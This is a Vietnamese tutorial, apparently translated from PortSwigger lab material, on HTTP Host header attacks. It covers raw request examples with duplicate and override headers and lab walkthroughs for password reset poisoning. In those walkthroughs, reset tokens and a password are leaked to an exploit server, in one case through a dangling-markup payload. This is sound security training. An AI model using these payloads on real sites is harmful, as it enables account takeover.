HTTP Host header attacks

Host Header Poisoning

1. HTTP Host header là gì?

Tiêu đề HTTP Host là một tiêu đề yêu cầu bắt buộc kể từ HTTP/1.1. Nó chỉ định tên miền mà khách hàng muốn truy cập. Ví dụ: khi người dùng truy cập , https://portswigger.net/web-security trình duyệt của họ sẽ soạn một yêu cầu có chứa tiêu đề Host như sau:

1 2	`GET /web-security HTTP/1.1 Host: portswigger.net`

Trong một số trường hợp, chẳng hạn như khi yêu cầu đã được chuyển tiếp bởi một hệ thống trung gian, giá trị Host có thể được thay đổi trước khi nó đến thành phần back-end dự kiến. Chúng tôi sẽ thảo luận chi tiết hơn về tình huống này bên dưới.

2. Mục đích của tiêu đề HTTP Host là gì?

Mục đích của tiêu đề HTTP Host là giúp xác định thành phần back-end nào mà máy khách muốn giao tiếp. Nếu các yêu cầu không chứa Host headers hoặc nếu Host headers bị sai định dạng theo một cách nào đó, điều này có thể dẫn đến sự cố khi định tuyến các yêu cầu đến đến ứng dụng dự kiến.

3. Virtual hosting

Một tình huống có thể xảy ra là khi một máy chủ web duy nhất lưu trữ nhiều trang web hoặc ứng dụng. Đây có thể là nhiều trang web với một chủ sở hữu, nhưng cũng có thể các trang web có chủ sở hữu khác nhau được lưu trữ trên một nền tảng chia sẻ duy nhất. Điều này ít phổ biến hơn trước đây, nhưng vẫn xảy ra với một số giải pháp SaaS dựa trên đám mây.

Trong cả hai trường hợp, mặc dù mỗi trang web riêng biệt này sẽ có một tên miền khác nhau, nhưng tất cả chúng đều chia sẻ một địa chỉ IP chung với máy chủ. Các trang web được lưu trữ theo cách này trên một máy chủ duy nhất được gọi là “máy chủ ảo”.

4. Định tuyến lưu lượng qua trung gian

Một kịch bản phổ biến khác là khi các trang web được lưu trữ trên các máy chủ back-end riêng biệt, nhưng tất cả lưu lượng truy cập giữa máy khách và máy chủ được định tuyến thông qua một hệ thống trung gian. Đây có thể là một cân bằng tải đơn giản hoặc một máy chủ proxy ngược nào đó. Thiết lập này đặc biệt phổ biến trong trường hợp khách hàng truy cập trang web thông qua mạng phân phối nội dung (CDN).

Trong trường hợp này, mặc dù các trang web được lưu trữ trên các máy chủ back-end riêng biệt, tất cả các tên miền của chúng được phân giải thành một địa chỉ IP duy nhất của thành phần trung gian. Điều này đưa ra một số thách thức tương tự như lưu trữ ảo vì proxy ngược hoặc cân bằng tải cần biết back-end thích hợp mà nó sẽ định tuyến từng yêu cầu.

5. Tiêu đề HTTP Host giải quyết vấn đề này như thế nào?

Trong cả hai trường hợp này, tiêu đề Máy chủ được dựa vào để chỉ định người nhận dự kiến. Một phép so sánh phổ biến là quá trình gửi thư cho ai đó sống trong một tòa nhà chung cư. Toàn bộ tòa nhà có cùng một địa chỉ đường phố, nhưng đằng sau địa chỉ đường phố này có rất nhiều căn hộ khác nhau mà mỗi căn hộ cần nhận được thư chính xác bằng cách nào đó. Một giải pháp cho vấn đề này chỉ đơn giản là bao gồm số căn hộ hoặc tên người nhận trong địa chỉ. Trong trường hợp tin nhắn HTTP, tiêu đề Host phục vụ một mục đích tương tự.

Khi trình duyệt gửi yêu cầu, URL đích sẽ phân giải thành địa chỉ IP của một máy chủ cụ thể. Khi máy chủ này nhận được yêu cầu, nó tham chiếu đến tiêu đề Host để xác định back-end dự định và chuyển tiếp yêu cầu cho phù hợp.

6. Tấn công tiêu đề HTTP Host là gì?

Các cuộc tấn công tiêu đề HTTP Host khai thác các trang web dễ bị tấn công xử lý giá trị của tiêu đề Host theo cách không an toàn. Nếu máy chủ ngầm tin tưởng vào tiêu đề Host và không xác thực hoặc thoát nó đúng cách, kẻ tấn công có thể sử dụng đầu vào này để chèn các tải trọng có hại thao túng hành vi phía máy chủ. Các cuộc tấn công liên quan đến việc tiêm tải trọng trực tiếp vào tiêu đề Máy chủ thường được gọi là các cuộc tấn công “Chèn tiêu đề Máy chủ”.

Các ứng dụng web có sẵn thường không biết chúng được triển khai trên miền nào trừ khi nó được chỉ định thủ công trong tệp cấu hình trong quá trình thiết lập. Khi họ cần biết tên miền hiện tại, ví dụ: để tạo một URL tuyệt đối có trong email, họ có thể sử dụng đến việc truy xuất tên miền từ tiêu đề Máy chủ:

1	`<a href="https://_SERVER['HOST']/support">Contact support</a>`

Giá trị tiêu đề cũng có thể được sử dụng trong nhiều tương tác khác nhau giữa các hệ thống khác nhau của cơ sở hạ tầng của trang web.

Vì tiêu đề Host trên thực tế là người dùng có thể điều khiển, thực hành này có thể dẫn đến một số vấn đề. Nếu đầu vào không được thoát hoặc xác thực đúng cách, tiêu đề Host là một vectơ tiềm năng để khai thác một loạt các lỗ hổng khác, đáng chú ý nhất:

Web cache poisoning - Nhiễm độc bộ nhớ cache web
Business logic flaws in specific functionality - Sai sót logic nghiệp vụ trong chức năng cụ thể
Routing-based SSRF - SSRF dựa trên định tuyến
Classic server-side vulnerabilities, such as SQL injection - Các lỗ hổng phía máy chủ cổ điển, chẳng hạn như SQL injection

7. Các lỗ hổng tiêu đề HTTP Host phát sinh như thế nào?

Các lỗ hổng tiêu đề HTTP Host thường phát sinh do giả định sai lầm rằng tiêu đề không thể kiểm soát được của người dùng. Điều này tạo ra sự tin cậy ngầm vào tiêu đề Host và dẫn đến việc xác thực không đầy đủ hoặc thoát khỏi giá trị của nó, mặc dù kẻ tấn công có thể dễ dàng sửa đổi điều này bằng cách sử dụng các công cụ như Burp Proxy.

Ngay cả khi bản thân tiêu đề Máy chủ được xử lý an toàn hơn, tùy thuộc vào cấu hình của các máy chủ xử lý các yêu cầu đến, Máy chủ có thể bị ghi đè bằng cách chèn các tiêu đề khác. Đôi khi chủ sở hữu trang web không biết rằng các tiêu đề này được hỗ trợ theo mặc định và do đó, chúng có thể không được xử lý với cùng một mức độ kiểm tra.

Trên thực tế, nhiều lỗ hổng trong số này phát sinh không phải do mã hóa không an toàn mà do cấu hình không an toàn của một hoặc nhiều thành phần trong cơ sở hạ tầng liên quan. Những vấn đề cấu hình này có thể xảy ra vì các trang web tích hợp các công nghệ của bên thứ ba vào kiến trúc của chúng mà không nhất thiết phải hiểu các tùy chọn cấu hình và ý nghĩa bảo mật của chúng.

8. Cách xác định và khai thác lỗ hổng tiêu đề HTTP Host

Trong phần này, chúng ta sẽ xem xét kỹ hơn cách bạn có thể xác định xem một trang web có dễ bị tấn công bởi tiêu đề HTTP Host hay không. Sau đó, chúng tôi sẽ cung cấp các ví dụ về cách bạn có thể khai thác điều này, cùng với một số phòng thí nghiệm tương tác mà bạn có thể sử dụng để thực hành các khai thác này trên một trang web có chủ ý dễ bị tấn công.

8.1 Cách kiểm tra các lỗ hổng bằng tiêu đề HTTP Host

Để kiểm tra xem một trang web có dễ bị tấn công thông qua tiêu đề HTTP Host hay không, bạn sẽ cần một proxy chặn, chẳng hạn như Burp Proxy và các công cụ kiểm tra thủ công như Burp Repeater và Burp Intruder.

Bạn cần xác định liệu bạn có thể sửa đổi tiêu đề Host và vẫn tiếp cận ứng dụng mục tiêu với yêu cầu của mình hay không. Nếu vậy, bạn có thể sử dụng tiêu đề này để thăm dò ứng dụng và quan sát ảnh hưởng của điều này đối với phản hồi.

8.1.1 Cung cấp tiêu đề Host tùy ý

Khi thăm dò các lỗ hổng chèn tiêu đề Máy chủ, bước đầu tiên là kiểm tra điều gì sẽ xảy ra khi bạn cung cấp một tên miền tùy ý, không được nhận dạng thông qua tiêu đề Máy chủ.

Một số proxy chặn lấy địa chỉ IP mục tiêu trực tiếp từ tiêu đề Host, điều này làm cho loại kiểm tra này trở nên bất khả thi; bất kỳ thay đổi nào bạn thực hiện đối với tiêu đề sẽ chỉ khiến yêu cầu được gửi đến một địa chỉ IP hoàn toàn khác. Tuy nhiên, Burp Suite duy trì chính xác sự tách biệt giữa tiêu đề Máy chủ và địa chỉ IP đích. Sự tách biệt này cho phép bạn cung cấp bất kỳ tiêu đề Host tùy ý hoặc sai định dạng nào mà bạn muốn, trong khi vẫn đảm bảo rằng yêu cầu được gửi đến mục tiêu dự định.

URL mục tiêu được hiển thị ở đầu bảng điều khiển (đối vớiBurp Repeater và Proxy interception) hoặc trên tab “Mục tiêu” trong Burp Intruder. Bạn có thể chỉnh sửa mục tiêu theo cách thủ công bằng cách nhấp vào biểu tượng bút chì.

Đôi khi, bạn vẫn có thể truy cập trang web mục tiêu ngay cả khi bạn cung cấp tiêu đề Máy chủ không mong muốn. Điều này có thể vì một số lý do. Ví dụ: máy chủ đôi khi được định cấu hình với tùy chọn mặc định hoặc dự phòng trong trường hợp chúng nhận được yêu cầu về tên miền mà họ không nhận ra. Nếu trang web mục tiêu của bạn là mặc định, bạn thật may mắn. Trong trường hợp này, bạn có thể bắt đầu nghiên cứu những gì ứng dụng làm với tiêu đề Host và liệu hành vi này có thể khai thác được hay không.

Mặt khác, vì tiêu đề Máy chủ là một phần cơ bản trong cách thức hoạt động của các trang web, nên việc giả mạo nó thường có nghĩa là bạn sẽ không thể truy cập ứng dụng mục tiêu. Máy chủ front-end hoặc cân bằng tải nhận được yêu cầu của bạn có thể đơn giản là không biết chuyển tiếp yêu cầu đó ở đâu, dẫn đến lỗi “ Invalid Host header “ thuộc một số loại. Điều này đặc biệt có thể xảy ra nếu mục tiêu của bạn được truy cập qua CDN. Trong trường hợp này, bạn nên chuyển sang thử một số kỹ thuật được nêu dưới đây.

Kiểm tra xác thực có sai sót

Thay vì nhận được phản hồi “Invalid Host header“, bạn có thể thấy rằng yêu cầu của mình bị chặn do một số loại biện pháp bảo mật. Ví dụ: một số trang web sẽ xác thực xem tiêu đề Host có khớp với SNI từ bắt tay TLS hay không. Điều này không nhất thiết có nghĩa là chúng miễn nhiễm với các cuộc tấn công tiêu đề của Máy chủ.

Bạn nên cố gắng hiểu cách trang web phân tích cú pháp tiêu đề Host. Điều này đôi khi có thể tiết lộ các lỗ hổng có thể được sử dụng để vượt qua xác thực. Ví dụ: một số thuật toán phân tích cú pháp sẽ bỏ qua cổng khỏi tiêu đề Host, có nghĩa là chỉ có tên miền được xác thực. Nếu bạn cũng có thể cung cấp một cổng không phải số, bạn có thể giữ nguyên tên miền để đảm bảo rằng bạn tiếp cận ứng dụng đích, đồng thời có khả năng tiêm tải trọng qua cổng.
1
2
GET /example HTTP/1.1 Host: vulnerable-website.com:bad-stuff-here
Các trang web khác sẽ cố gắng áp dụng logic phù hợp để cho phép các tên miền phụ tùy ý. Trong trường hợp này, bạn có thể bỏ qua hoàn toàn việc xác thực bằng cách đăng ký một tên miền tùy ý kết thúc bằng cùng một dãy ký tự như tên miền trong danh sách trắng:
1
2
GET /example HTTP/1.1 Host: notvulnerable-website.com
Ngoài ra, bạn có thể tận dụng tên miền phụ kém an toàn hơn mà bạn đã xâm phạm:
1
2
GET /example HTTP/1.1 Host: hacked-subdomain.vulnerable-website.com
Gửi yêu cầu mơ hồ

Mã xác thực máy chủ và mã thực hiện điều gì đó dễ bị tổn thương với nó thường nằm trong các thành phần ứng dụng khác nhau hoặc thậm chí trên các máy chủ riêng biệt. Bằng cách xác định và khai thác sự khác biệt trong cách họ truy xuất tiêu đề Host, bạn có thể đưa ra một yêu cầu mơ hồ dường như có một máy chủ khác tùy thuộc vào hệ thống nào đang xem xét nó.

Sau đây chỉ là một vài ví dụ về cách bạn có thể tạo các yêu cầu mơ hồ.

2.1 Inject duplicate Host headers - Chèn tiêu đề Máy chủ trùng lặp

Một cách tiếp cận khả thi là thử thêm các tiêu đề Host trùng lặp. Phải thừa nhận rằng điều này thường sẽ dẫn đến việc yêu cầu của bạn bị chặn. Tuy nhiên, vì trình duyệt không bao giờ gửi yêu cầu như vậy, đôi khi bạn có thể thấy rằng các nhà phát triển đã không lường trước được kịch bản này. Trong trường hợp này, bạn có thể tiết lộ một số điều kỳ quặc về hành vi thú vị.

Các hệ thống và công nghệ khác nhau sẽ xử lý trường hợp này khác nhau, nhưng thông thường một trong hai tiêu đề được ưu tiên hơn tiêu đề kia, ghi đè giá trị của nó một cách hiệu quả. Khi các hệ thống không đồng ý về tiêu đề nào là đúng, điều này có thể dẫn đến sự khác biệt mà bạn có thể khai thác. Hãy xem xét yêu cầu sau:
1
2
3
GET /example HTTP/1.1 Host: vulnerable-website.com Host: bad-stuff-here
Giả sử front-end ưu tiên cho phiên bản đầu tiên của tiêu đề, nhưng back-end thích phiên bản cuối cùng. Với kịch bản này, bạn có thể sử dụng tiêu đề đầu tiên để đảm bảo rằng yêu cầu của bạn được định tuyến đến mục tiêu dự định và sử dụng tiêu đề thứ hai để chuyển tải trọng của bạn vào mã phía máy chủ.

2.2 Supply an absolute URL - Cung cấp URL tuyệt đối

Mặc dù dòng yêu cầu thường chỉ định một đường dẫn tương đối trên miền được yêu cầu, nhưng nhiều máy chủ cũng được định cấu hình để hiểu các yêu cầu cho URL tuyệt đối.

Sự mơ hồ gây ra bởi việc cung cấp cả URL tuyệt đối và tiêu đề Máy chủ cũng có thể dẫn đến sự khác biệt giữa các hệ thống khác nhau. Về mặt chính thức, dòng yêu cầu nên được ưu tiên khi định tuyến yêu cầu, nhưng trên thực tế, điều này không phải lúc nào cũng đúng. Bạn có thể khai thác những khác biệt này theo cách tương tự như các tiêu đề Host trùng lặp.
1
2
GET https://vulnerable-website.com/ HTTP/1.1 Host: bad-stuff-here
Lưu ý rằng bạn cũng có thể cần thử nghiệm với các giao thức khác nhau. Máy chủ đôi khi sẽ hoạt động khác nhau tùy thuộc vào việc dòng yêu cầu chứa URL HTTP hay HTTPS.

2.3 Add line wrapping - Thêm ngắt dòng

Bạn cũng có thể phát hiện hành vi kỳ quặc bằng cách thụt lề các tiêu đề HTTP bằng ký tự dấu cách. Một số máy chủ sẽ diễn giải tiêu đề thụt lề là một dòng được bao bọc và do đó, coi nó là một phần của giá trị của tiêu đề trước đó. Các máy chủ khác sẽ bỏ qua hoàn toàn tiêu đề thụt lề.

Do việc xử lý trường hợp này rất không nhất quán, thường sẽ có sự khác biệt giữa các hệ thống khác nhau xử lý yêu cầu của bạn. Ví dụ, hãy xem xét yêu cầu sau:
1
2
3
GET /example HTTP/1.1 Host: bad-stuff-here Host: vulnerable-website.com
Trang web có thể chặn các yêu cầu có nhiều tiêu đề Máy chủ, nhưng bạn có thể bỏ qua xác thực này bằng cách thụt lề một trong số chúng như thế này. Nếu giao diện người dùng bỏ qua tiêu đề thụt lề, yêu cầu sẽ được xử lý như một yêu cầu thông thường cho vulnerable-website.com. Bây giờ giả sử back-end bỏ qua khoảng trống đầu và ưu tiên cho tiêu đề đầu tiên trong trường hợp trùng lặp. Sự khác biệt này có thể cho phép bạn chuyển các giá trị tùy ý thông qua tiêu đề Máy chủ “được bao bọc”.

2.4 Other techniques

Đây chỉ là một ví dụ nhỏ trong số nhiều cách có thể đưa ra các yêu cầu có hại, mơ hồ. Ví dụ: bạn cũng có thể điều chỉnh nhiều kỹ thuật smuggling yêu cầu HTTP để xây dựng các cuộc tấn công tiêu đề Máy chủ. Chúng tôi sẽ đề cập chi tiết hơn về vấn đề này trong chủ đề buôn lậu yêu cầu chuyên dụng của chúng tôi.

8.1.2 Inject host override headers - Chèn tiêu đề ghi đè máy chủ

Ngay cả khi bạn không thể ghi đè tiêu đề Host bằng cách sử dụng một yêu cầu mơ hồ, vẫn có những khả năng khác để ghi đè giá trị của nó trong khi vẫn giữ nguyên nó. Điều này bao gồm việc chèn tải trọng của bạn thông qua một trong một số tiêu đề HTTP khác được thiết kế để phục vụ mục đích này, mặc dù cho các trường hợp sử dụng vô hại hơn.

Như chúng ta đã thảo luận, các trang web thường được truy cập thông qua một số loại hệ thống trung gian, chẳng hạn như cân bằng tải hoặc proxy ngược. Trong loại kiến trúc này, tiêu đề Host mà máy chủ back-end nhận được có thể chứa tên miền cho một trong các hệ thống trung gian này. Điều này thường không liên quan đến chức năng được yêu cầu.

Để giải quyết vấn đề này, front-end có thể chèn tiêu đề X-Forwarded-Host, chứa giá trị ban đầu của tiêu đề Host từ yêu cầu ban đầu của máy khách. Vì lý do này, khi có tiêu đề X-Forwarded-Host, nhiều framework sẽ tham chiếu đến điều này thay thế. Bạn có thể quan sát hành vi này ngay cả khi không có giao diện người dùng nào sử dụng tiêu đề này.

Đôi khi bạn có thể sử dụng X-Forwarded-Host để chèn đầu vào độc hại của mình trong khi phá vỡ bất kỳ xác thực nào trên chính tiêu đề Host.

1
2
3

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

Mặc dù X-Forwarded-Host là tiêu chuẩn thực tế cho hành vi này, nhưng bạn có thể bắt gặp các tiêu đề khác phục vụ mục đích tương tự, bao gồm:

X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded

Trong Burp Suite, bạn có thể sử dụng chức năng “Đoán tiêu đề” của tiện ích mở rộng Param Miner để tự động thăm dò các tiêu đề được hỗ trợ bằng cách sử dụng danh sách từ tích hợp mở rộng của nó.

9. Khai thác lỗ hổng trong HTTP Host header

Khi bạn đã xác định rằng bạn có thể chuyển tên máy chủ tùy ý đến ứng dụng đích, bạn có thể bắt đầu tìm cách khai thác nó.

Trong phần này, chúng tôi sẽ cung cấp một số ví dụ về các cuộc tấn công tiêu đề HTTP Host phổ biến mà bạn có thể xây dựng. Chúng tôi cũng đã tạo ra một số trang web có chủ ý dễ bị tấn công để bạn có thể xem cách thức hoạt động của những khai thác này và đưa những gì bạn đã học được vào thử nghiệm.

9.1 Basic password reset poisoning

Nhiễm độc đặt lại mật khẩu là một kỹ thuật mà kẻ tấn công thao túng một trang web dễ bị tấn công để tạo liên kết đặt lại mật khẩu trỏ đến một miền dưới sự kiểm soát của chúng. Hành vi này có thể được tận dụng để đánh cắp các mã thông báo bí mật cần thiết để đặt lại mật khẩu tùy ý của người dùng và cuối cùng là xâm phạm tài khoản của họ.

Đặt lại mật khẩu hoạt động như thế nào?

Hầu như tất cả các trang web yêu cầu đăng nhập cũng triển khai chức năng cho phép người dùng đặt lại mật khẩu nếu họ quên. Có một số cách để làm điều này, với các mức độ bảo mật và tính thực tế khác nhau. Một trong những cách tiếp cận phổ biến nhất diễn ra như sau:

Người dùng nhập tên người dùng hoặc địa chỉ email của họ và gửi yêu cầu đặt lại mật khẩu.
Trang web kiểm tra xem người dùng này có tồn tại hay không và sau đó tạo ra một mã thông báo tạm thời, duy nhất, có hàm lượng entropy cao, nó liên kết với tài khoản của người dùng ở back-end.
Trang web gửi một email cho người dùng có chứa liên kết để đặt lại mật khẩu của họ. Mã đặt lại duy nhất của người dùng được bao gồm dưới dạng tham số truy vấn trong URL tương ứng:
1
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
Khi người dùng truy cập URL này, trang web sẽ kiểm tra xem mã thông báo được cung cấp có hợp lệ hay không và sử dụng mã đó để xác định tài khoản nào đang được đặt lại. Nếu mọi thứ như mong đợi, người dùng sẽ được cung cấp tùy chọn nhập mật khẩu mới. Cuối cùng, mã thông báo bị phá hủy.

Quá trình này đủ đơn giản và tương đối an toàn so với một số cách tiếp cận khác. Tuy nhiên, tính bảo mật của nó dựa trên nguyên tắc rằng chỉ người dùng dự định mới có quyền truy cập vào hộp thư đến email của họ và do đó, vào mã thông báo duy nhất của họ. Poisoning đặt lại mật khẩu là một phương pháp đánh cắp mã thông báo này để thay đổi mật khẩu của người dùng khác.

Cách xây dựng một cuộc tấn công đầu độc đặt lại mật khẩu

Nếu URL được gửi đến người dùng được tạo động dựa trên đầu vào có thể kiểm soát, chẳng hạn như tiêu đề Máy chủ, bạn có thể tạo ra một cuộc tấn công đầu độc đặt lại mật khẩu như sau:

Kẻ tấn công lấy địa chỉ email hoặc tên người dùng của nạn nhân, theo yêu cầu và thay mặt họ gửi yêu cầu đặt lại mật khẩu. Khi gửi biểu mẫu, họ chặn yêu cầu HTTP kết quả và sửa đổi tiêu đề Host để nó trỏ đến miền mà họ kiểm soát. Đối với ví dụ này, chúng ta sẽ sử dụng evil-user.net.
Nạn nhân nhận được email đặt lại mật khẩu chính hãng trực tiếp từ trang web. Điều này dường như chứa một liên kết thông thường để đặt lại mật khẩu của họ và quan trọng là chứa mã thông báo đặt lại mật khẩu hợp lệ được liên kết với tài khoản của họ. Tuy nhiên, tên miền trong URL trỏ đến máy chủ của kẻ tấn công:
1
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
Nếu nạn nhân nhấp vào liên kết này (hoặc nó được tìm nạp theo một số cách khác, ví dụ: bằng máy quét chống vi-rút), mã thông báo đặt lại mật khẩu sẽ được gửi đến máy chủ của kẻ tấn công.
Kẻ tấn công hiện có thể truy cập URL thực của trang web dễ bị tấn công và cung cấp mã thông báo bị đánh cắp của nạn nhân thông qua tham số tương ứng. Sau đó, họ sẽ có thể đặt lại mật khẩu của người dùng thành bất kỳ thứ gì họ thích và sau đó đăng nhập vào tài khoản của họ.

Ví dụ, trong một cuộc tấn công thực sự, kẻ tấn công có thể tìm cách tăng xác suất nạn nhân nhấp vào liên kết bằng cách làm nóng họ bằng thông báo vi phạm giả mạo.

Ngay cả khi bạn không thể kiểm soát liên kết đặt lại mật khẩu, đôi khi bạn có thể sử dụng tiêu đề Máy chủ để chèn HTML vào các email nhạy cảm. Lưu ý rằng các ứng dụng email thường không thực thi JavaScript, nhưng các kỹ thuật chèn HTML khác như dangling markup attacks vẫn có thể được áp dụng.

9.1.1 Lab: Basic password reset poisoning

Mô tả

Bạn có thể đăng nhập vào tài khoản của riêng mình bằng các thông tin đăng nhập sau: wiener:peter. Bất kỳ email nào được gửi đến tài khoản này đều có thể được đọc thông qua ứng dụng email trên máy chủ khai thác.

Giải Quyết

Truy cập trang đăng nhập và nhận thấy chức năng “Quên mật khẩu của bạn?”. Yêu cầu đặt lại mật khẩu cho tài khoản của riêng bạn.
Truy cập máy chủ khai thác và mở ứng dụng email. Quan sát rằng bạn đã nhận được một email có chứa liên kết để đặt lại mật khẩu của mình. Lưu ý rằng URL chứa tham số truy vấn temp-forgot-password-token.
Nhấp vào liên kết và quan sát thấy rằng bạn được nhắc nhập mật khẩu mới. Đặt lại mật khẩu của bạn thành bất cứ thứ gì bạn muốn.
Trong Burp, hãy nghiên cứu lịch sử HTTP. Lưu ý rằng yêu cầu POST /forgot-password được sử dụng để kích hoạt email đặt lại mật khẩu. Điều này chứa tên người dùng có mật khẩu đang được đặt lại dưới dạng tham số nội dung. Gửi yêu cầu này đến Burp Repeater.
Trong Burp Repeater, hãy quan sát rằng bạn có thể thay đổi tiêu đề Máy chủ thành một giá trị tùy ý và vẫn kích hoạt thành công việc đặt lại mật khẩu. Quay lại máy chủ email và xem email mới mà bạn đã nhận được. Lưu ý rằng URL trong email chứa tiêu đề Host tùy ý của bạn thay vì tên miền thông thường.
Quay lại Burp Repeater, thay đổi tiêu đề Host thành tên miền của máy chủ khai thác của bạn ( YOUR-EXPLOIT-SERVER-ID.exploit-server.net ) và thay đổi tham số username thành carlos. Gửi yêu cầu.
Truy cập máy chủ khai thác của bạn và mở nhật ký truy cập. Bạn sẽ thấy yêu cầu GET /forgot-password với tham số temp-forgot-password-token chứa mã đặt lại mật khẩu của Carlos. Ghi lại mã thông báo này.
Truy cập ứng dụng email của bạn và sao chép URL đặt lại mật khẩu chính hãng từ email đầu tiên của bạn. Truy cập URL này trong trình duyệt, nhưng thay thế mã đặt lại của bạn bằng mã bạn nhận được từ nhật ký truy cập.
Thay đổi mật khẩu của Carlos thành bất cứ thứ gì bạn muốn, sau đó đăng nhập với tư cách carlos để giải quyết phòng thí nghiệm.

9.1.2 Lab: Password reset poisoning via middleware

Mô tả

Phòng thí nghiệm này dễ bị nhiễm độc đặt lại mật khẩu. Người dùng carlos sẽ bất cẩn nhấp vào bất kỳ liên kết nào trong email mà anh ta nhận được. Để giải phòng thí nghiệm, hãy đăng nhập vào tài khoản của Carlos. Bạn có thể đăng nhập vào tài khoản của riêng mình bằng các thông tin đăng nhập sau: wiener:peter. Bất kỳ email nào được gửi đến tài khoản này đều có thể được đọc thông qua ứng dụng email trên máy chủ khai thác.

Giải quyết

Khi Burp đang chạy, hãy điều tra chức năng đặt lại mật khẩu. Quan sát xem một liên kết chứa mã đặt lại duy nhất được gửi qua email.
Gửi yêu cầu POST /forgot-password đến Burp Repeater. Lưu ý rằng tiêu đề X-Forwarded-Host được hỗ trợ và bạn có thể sử dụng nó để trỏ liên kết đặt lại được tạo động đến một miền tùy ý.
Truy cập máy chủ khai thác và ghi chú URL máy chủ khai thác của bạn.
Quay lại yêu cầu trong Burp Repeater và thêm tiêu đề X-Forwarded-Host với URL máy chủ khai thác của bạn:
1
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Thay đổi thông số tên người dùng thành carlos và gửi yêu cầu.
Truy cập máy chủ khai thác và mở nhật ký truy cập. Bạn sẽ thấy yêu cầu GET /forgot-password, chứa mã thông báo của nạn nhân dưới dạng tham số truy vấn. Ghi lại mã thông báo này.
Quay lại ứng dụng email của bạn và sao chép liên kết đặt lại mật khẩu hợp lệ (không phải liên kết trỏ đến máy chủ khai thác). Dán thông tin này vào trình duyệt và thay đổi giá trị của tham số temp-forgot-password-token thành giá trị mà bạn đã đánh cắp từ nạn nhân.
Tải URL này và đặt mật khẩu mới cho tài khoản của Carlos.
Đăng nhập vào tài khoản của Carlos bằng mật khẩu mới để giải quyết phòng thí nghiệm.

9.1.3 Lab: Password reset poisoning via dangling markup

Mô tả

Phòng thí nghiệm này dễ bị ngộ độc đặt lại mật khẩu thông qua đánh dấu treo lơ lửng. Để giải phòng thí nghiệm, hãy đăng nhập vào tài khoản của Carlos.

hint: Một số phần mềm chống vi-rút quét các liên kết trong email để xác định xem chúng có độc hại hay không.

Giải quyết

Truy cập trang đăng nhập và yêu cầu đặt lại mật khẩu cho tài khoản của riêng bạn.
Truy cập máy chủ khai thác và mở ứng dụng email để tìm email đặt lại mật khẩu. Quan sát rằng liên kết trong email chỉ trỏ đến trang đăng nhập chung và URL không chứa mã thông báo đặt lại mật khẩu. Thay vào đó, một mật khẩu mới được gửi trực tiếp trong nội dung email.
Trong lịch sử proxy, hãy nghiên cứu phản hồi cho yêu cầu GET /email. Quan sát rằng nội dung HTML cho email của bạn được viết thành một chuỗi, nhưng điều này đang được làm sạch bằng cách sử dụng thư viện DOMPurify trước khi nó được trình duyệt hiển thị.
Trong ứng dụng email, lưu ý rằng bạn có tùy chọn xem từng email dưới dạng HTML thô. Không giống như phiên bản hiển thị của email, điều này dường như không được làm sạch theo bất kỳ cách nào.
Gửi yêu cầu POST /forgot-password đến Burp Repeater. Quan sát rằng việc giả mạo tên miền trong tiêu đề Máy chủ dẫn đến lỗi máy chủ. Tuy nhiên, bạn có thể thêm một cổng tùy ý, không phải số vào tiêu đề Máy chủ và vẫn truy cập trang web như bình thường. Gửi yêu cầu này vẫn sẽ kích hoạt email đặt lại mật khẩu:
1
Host: YOUR-LAB-ID.web-security-academy.net:arbitraryport
Trong ứng dụng email, hãy kiểm tra phiên bản thô của email. Lưu ý rằng cổng được chèn của bạn được phản ánh bên trong một liên kết dưới dạng một chuỗi ngoặc kép, không thoát. Điều này sau đó được theo sau bởi mật khẩu mới.
Gửi lại yêu cầu POST /forgot-password, nhưng lần này sử dụng cổng để thoát ra khỏi chuỗi và chèn tải trọng đánh dấu treo trỏ đến máy chủ khai thác của bạn:
1
Host: YOUR-LAB-ID.web-security-academy.net:'<a href="//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/?
Kiểm tra ứng dụng email. Bạn sẽ nhận được một email mới trong đó hầu hết nội dung bị thiếu.

Truy cập máy chủ khai thác và kiểm tra nhật ký truy cập. Lưu ý rằng có một mục nhập cho một yêu cầu bắt đầu GET /?/login'>[...], chứa phần còn lại của nội dung email, bao gồm cả mật khẩu mới.

Trình quét (antivirus/email scanner) là tác nhân đã truy cập vào link trong mail để quét
Trong Burp Repeater, gửi yêu cầu lần cuối, nhưng thay đổi thông số tên người dùng thành carlos. Làm mới nhật ký truy cập và lấy mật khẩu mới của Carlos từ mục nhật ký tương ứng.
Đăng nhập với tư cách carlos bằng mật khẩu mới này để giải quyết phòng thí nghiệm.

9.2 Web cache poisoning via the Host header

Khi thăm dò các cuộc tấn công tiêu đề Host tiềm ẩn, bạn sẽ thường gặp phải hành vi dường như dễ bị tấn công mà không thể khai thác trực tiếp. Ví dụ: bạn có thể thấy rằng tiêu đề Host được phản ánh trong đánh dấu phản hồi mà không cần mã hóa HTML, hoặc thậm chí được sử dụng trực tiếp trong việc nhập tập lệnh. Các lỗ hổng phía máy khách, chẳng hạn như XSS, thường không thể khai thác được khi chúng được gây ra bởi tiêu đề Host. Không có cách nào để kẻ tấn công buộc trình duyệt của nạn nhân phát hành máy chủ không chính xác theo cách hữu ích.

Tuy nhiên, nếu mục tiêu sử dụng bộ nhớ đệm web, có thể biến lỗ hổng vô dụng, được phản ánh này thành một lỗ hổng nguy hiểm, được lưu trữ bằng cách thuyết phục bộ nhớ đệm phục vụ phản hồi độc hại cho những người dùng khác.

Để xây dựng một cuộc tấn công đầu độc bộ nhớ đệm web, bạn cần gợi ra phản hồi từ máy chủ phản ánh tải trọng được đưa vào. Thách thức là làm điều này trong khi vẫn giữ nguyên khóa bộ nhớ cache vẫn sẽ được ánh xạ đến các yêu cầu của người dùng khác. Nếu thành công, bước tiếp theo là đưa phản hồi độc hại này vào bộ nhớ đệm. Sau đó, nó sẽ được phân phối cho bất kỳ người dùng nào cố gắng truy cập trang bị ảnh hưởng.

Bộ nhớ đệm độc lập thường bao gồm tiêu đề Máy chủ trong khóa bộ nhớ đệm, vì vậy cách tiếp cận này thường hoạt động tốt nhất trên bộ nhớ đệm tích hợp, cấp ứng dụng. Điều đó nói rằng, các kỹ thuật được thảo luận trước đó đôi khi có thể cho phép bạn đầu độc ngay cả các bộ nhớ đệm web độc lập.

